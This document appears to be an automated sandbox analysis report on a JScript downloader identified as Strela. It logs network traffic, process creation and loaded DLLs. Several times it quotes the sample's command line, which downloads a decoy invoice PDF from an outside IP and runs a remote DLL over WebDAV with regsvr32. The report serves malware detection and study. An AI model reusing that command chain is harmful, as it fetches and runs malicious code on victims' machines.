HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2141140266.000001610A8B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2205770148.0000024F7AB3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2205707786.0000024F7AB08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2204871041.0000024F7AB3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2205770148.0000024F7AB2A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2204871041.0000024F7AB2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: svchost.exe, 00000009.00000002.3418972024.000001B23F200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2204958043.000001B23F040000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3620, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 11057252552282120022.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2604:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5vkj2uks.hec.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11057252552282120022.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1656,i,15161979393311407619,15882621211136608978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25657914731825.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1656,i,15161979393311407619,15882621211136608978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
